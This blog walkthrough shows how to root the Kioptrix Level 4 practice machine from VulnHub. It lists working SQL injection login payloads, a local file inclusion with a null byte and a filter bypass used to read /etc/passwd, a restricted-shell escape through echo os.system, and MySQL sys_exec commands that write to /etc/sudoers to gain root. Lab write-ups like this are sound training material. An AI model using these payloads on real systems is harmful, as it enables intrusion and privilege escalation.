Hacking Kioptrix Level 4

Hi guys! After demonstrating how to get root access to previous Kioptrix levels, it’s now time for Kioptrix Level 4! So the following are the things that you’ll need:

Spoiler alert! If you’re trying to practice hacking in a controlled environment, I suggest downloading Kioptrix Level 4 or any other vulnerable machine from VulnHub, close this page, and do your own attack. Come back if you’re a bit lost or just need a guide.

I won’t be discussing how you can setup your virtual environment here. You just need to install Kali and Kioptrix Level 4 then you’re ready. Please note that we have Kali and Kioptrix in the same local network. Boot up Kioptrix Level 4 and you’ll be welcomed with this screen:

The goal of the exercise is still the same as the previous levels. We need to acquire a “root” access. At this point, we should also start Kali so there are currently two instances of VMWare (I’m using this instead of Virtual Box).

To start off, we should first identify the current local area network. In Kali, open the terminal and type in “ifconfig”. You should get a similar result like this:

The IP address of my Kali machine is and the subnet mask is (/24). This means that the IP address of Kioptrix should be 192.168.209.X given that X is a number between 0 and 255. We can actually find out its IP address together with the services running through nmap by typing in the command “nmap”. Notice that a few results popped up and a host having an IP address of seems interesting.

We can also do another scan specific to this IP address to show the version of the services running by typing in:

nmap -sV

By the results shown, we get a more detailed report on what specific versions of services are running in Kioptrix. Seeing that it has the service “http” running on TCP port 80, we can fire up our browser and type in “”.

The first thing that came to mind was trying SQL injection for the login. Similar to Kioptrix level 2, if we have this basic SQL statement:


By entering the username as “admin” and the password as:

‘ OR ‘1’=’1

The statement to be executed will be:

SELECT * FROM USERS WHERE username=’admin’ AND password = ” OR ‘1’=’1′;

Note that the SQL statement is merely a guess. Again, to prevent confusion, please refer to the statement below that presents the quotes colored in red.

By clicking the login button, we somehow got into the next page.

Judging by the output however, it appears that we can try other neat stuff against the URL. Probably XSS or other vulnerability checking. By changing the username as a simple “.”, the page throws out an error.

Notice that the input “.” reflected in the error as “./..php”. This actually looks like we can do a local file inclusion. To confirm, let’s change that period into the character “/”.

The error was still reflected which technically means that a local file inclusion should work if we input a path in the link. So by entering common file paths such as the following:


We should get the contents however, by trying the file paths above, it didn’t actually work.

For “/etc/passwd”, we get:

For “/etc/networks”, we get:

For “/proc/version”, we get:

There are things to note here. The first two file paths somehow got filtered because the word “etc” disappeared. For the third file path, an error showed up and this gives us a clue. The system appends the input username and the extension “.php”. This means that existing paths should probably be “../username/username.php”. To prevent the system from browsing to that format, we should append a null byte in the end of our path. As a test, by entering “/proc/version%00”, we get this output:

At this point, a local file inclusion works! Going back to the previous paths including the word “etc”, appending a null byte still doesn’t work. A regex filter is probably removing those characters. I got a bit lost in this part but the bypassing technique was pretty simple after some tests. The filter was only removing the whole “etc” word in one iteration. This means that if we enter “etetcc” or “eetctc”, the “etc” word in between will be removed leaving both ends combined.

Please excuse my Microsoft Paint skills. Seen in the image is how we can bypass the “etc” filter. The red box will be removed by the system leaving the remaining characters combined. By entering the bypass combination, we get the contents:

To make it more readable, we can save the contents as a text file.

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false

The next thing was finding an “entry point” to get a local shell from the machine. The challenge also came in because local file inclusions were usually leveraged by finding the Apache access.log or error.log because the idea was checking how web access logs were being written locally. So for example, if we visit the link “”, it gets written to the access.log. If we find the access.log, we can try visiting the link “<PHP_CODE_HERE>” and it should be written in the access.log. Once it gets written and we visit the access.log through the local file inclusion vulnerability, our PHP code gets executed. Imaging if we insert a code that starts a netcat session that connects to our Kali machine while bringing a shell. Yes, my conscious mind was telling me where in the world was the access.log or error.log to the point that I even created a Python script to find a lot of interesting files found in the machine.

Spent the whole day frustrating myself until I got back to the current findings. By testing the usernames found from the file “/etc/passwd” like “root”, “loneferret”, “john” and “robert” in the login page using SQL injection, it appears that “john” and “robert” were active accounts however, they still don’t present some useful information.



The previous SQL injection statement was:

‘ OR ‘1’=’1

When changed to this statement:

1′ OR ‘1’=’1

We somehow got the username and password.

The new one just had the number “1” before the actual injection to have something like:

SELECT * FROM USERS WHERE username=’john’ AND password = ‘1’ OR ‘1’=’1′;

Since an SSH service is running in Kioptrix (Based from the Nmap scan results), we can try connecting using “john” and the username and “MyNameIsJohn” as the password:

Now we have a shell access but it seems that the commands available are very limited:

Since these were the only commands available, the first thing in mind was try writing stuff using “echo”. By typing in the command:

echo test > /tmp/test.txt

A warning pops up that the command is prohibited.

Got a bit lost here again so I went to look for solutions pertaining to these available commands and interestingly, we can get out of this shell by typing in the command:

echo os.system(“/bin/bash”)

Now we can get more information about the system by navigating around and doing some commands like “id” and “uname” because our next goal is escalate our privileges to become root. After doing some investigation however, it appears that there’s no GCC installed which means we can’t compile a privilege escalation exploit written in C (Which most exploits are written) in Kioptrix so I tested a few Python, Perl, and Bash scripts but unfortunately, nothing was working. A solution for the GCC problem would be preparing a Virtual Machine with the same Linux build so the compilation could be done there or simply cross compiling the source code and transfer the output to Kioptrix but that was somehow inconvenient. Other points to check out would be the processes running with root privileges so by entering the command:

ps aux | grep root

The results show:

root 1 0.0 0.6 2844 1688 ? Ss 13:40 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S< 13:40 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S< 13:40 0:00 [migration/0]
root 4 0.0 0.0 0 0 ? S< 13:40 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< 13:40 0:00 [watchdog/0]
root 6 0.0 0.0 0 0 ? S< 13:40 0:00 [events/0]
root 7 0.0 0.0 0 0 ? S< 13:40 0:00 [khelper]
root 41 0.0 0.0 0 0 ? S< 13:40 0:00 [kblockd/0]
root 44 0.0 0.0 0 0 ? S< 13:40 0:00 [kacpid]
root 45 0.0 0.0 0 0 ? S< 13:40 0:00 [kacpi_notify]
root 173 0.0 0.0 0 0 ? S< 13:40 0:00 [kseriod]
root 212 0.0 0.0 0 0 ? S 13:40 0:00 [pdflush]
root 213 0.0 0.0 0 0 ? S 13:40 0:00 [pdflush]
root 214 0.0 0.0 0 0 ? S< 13:40 0:00 [kswapd0]
root 256 0.0 0.0 0 0 ? S< 13:40 0:00 [aio/0]
root 1476 0.0 0.0 0 0 ? S< 13:40 0:00 [ata/0]
root 1479 0.0 0.0 0 0 ? S< 13:40 0:00 [ata_aux]
root 1486 0.0 0.0 0 0 ? S< 13:40 0:00 [scsi_eh_0]
root 1492 0.0 0.0 0 0 ? S< 13:40 0:00 [scsi_eh_1]
root 1505 0.0 0.0 0 0 ? S< 13:40 0:00 [ksuspend_usbd]
root 1511 0.0 0.0 0 0 ? S< 13:40 0:00 [khubd]
root 2369 0.0 0.0 0 0 ? S< 13:40 0:00 [scsi_eh_2]
root 2609 0.0 0.0 0 0 ? S< 13:40 0:00 [kjournald]
root 2776 0.0 0.2 2224 656 ? S<s 13:40 0:00 /sbin/udevd –d
root 3069 0.0 0.0 0 0 ? S< 13:40 0:00 [kgameportd]
root 3199 0.0 0.0 0 0 ? S< 13:40 0:00 [kpsmoused]
root 4503 0.0 0.1 1716 488 tty4 Ss+ 13:40 0:00 /sbin/getty 384
root 4504 0.0 0.1 1716 488 tty5 Ss+ 13:40 0:00 /sbin/getty 384
root 4509 0.0 0.1 1716 484 tty2 Ss+ 13:40 0:00 /sbin/getty 384
root 4511 0.0 0.1 1716 488 tty3 Ss+ 13:40 0:00 /sbin/getty 384
root 4514 0.0 0.1 1716 484 tty6 Ss+ 13:40 0:00 /sbin/getty 384
root 4571 0.0 0.2 1872 540 ? S 13:40 0:00 /bin/dd bs 1 if
root 4592 0.0 0.3 5316 988 ? Ss 13:40 0:00 /usr/sbin/sshd
root 4648 0.0 0.2 1772 524 ? S 13:40 0:00 /bin/sh /usr/bi
root 4690 0.0 6.3 127120 16248 ? Sl 13:40 0:00 /usr/sbin/mysql
root 4692 0.0 0.2 1700 556 ? S 13:40 0:00 logger -p daemo
root 4766 0.0 0.5 6528 1328 ? Ss 13:40 0:00 /usr/sbin/nmbd
root 4768 0.0 0.9 10108 2316 ? Ss 13:40 0:00 /usr/sbin/smbd
root 4782 0.0 0.4 10108 1028 ? S 13:40 0:00 /usr/sbin/smbd
root 4783 0.0 0.5 8084 1296 ? Ss 13:40 0:00 /usr/sbin/winbi
root 4789 0.0 0.4 8084 1060 ? S 13:40 0:00 /usr/sbin/winbi
root 4815 0.0 0.3 2104 884 ? Ss 13:40 0:00 /usr/sbin/cron
root 4837 0.0 2.4 20464 6188 ? Ss 13:40 0:00 /usr/sbin/apach
root 4893 0.0 1.0 6928 2620 tty1 Ss 13:40 0:00 /bin/login —
root 4928 0.0 1.4 11360 3724 ? Ss 14:03 0:00 sshd: john [pri
john 4952 0.0 0.2 3004 756 pts/0 R+ 14:04 0:00 grep root

MySQL should be a good start for us to check since we can already access the source code of the web system. To get the MySQL credentials, we should browse the PHP files in “/var/www/”.

By starting with the first file “checklogin.php”, the username for MySQL seem to be “root” with an empty password.

Now to run MySQL using the command:

mysql -u root -p

When asked for the password, we can proceed by pressing the “Enter” key.

Now that we know the version of MySQL (5.0.51a-3ubuntu5.4), further research shows us vulnerabilities that can help achieve an escalation.

The first result required a C compilation using GCC once the bash script runs while the second points to a GitHub link which contains the object required for the exploit to work (I chose the second result here). Further investigation shows that the object required for the exploit to work was already in the system. This is confirmed by typing in the command:

whereis lib_mysqludf_sys.so

At this point, there is no need for us to follow all the steps presented in Exploit DB since the function is already available for us to use.

Now for the actual escalation part. By entering the MySQL statement:

SELECT sys_exec(“echo ‘john ALL=(ALL) ALL’ >> /etc/sudoers”);

MySQL executes the command with root privileges since MySQL is running as root which technically means the user “john” is added to the sudoers file giving “john” the ability to use “sudo” on any program.

Exit MySQL and enter the command:

sudo bash

Enter john’s password and we get root!

This Kioptrix level somehow gave me some frustrating moments but in the end, filter bypassing (etetcc => etc), basic functions (echo), and common services (like MySQL) have weaknesses and capabilities that you’d never expect. Comes to show that research and tests should never be taken for granted either. Now for the final level of Kioptrix (So far).

Leave a Reply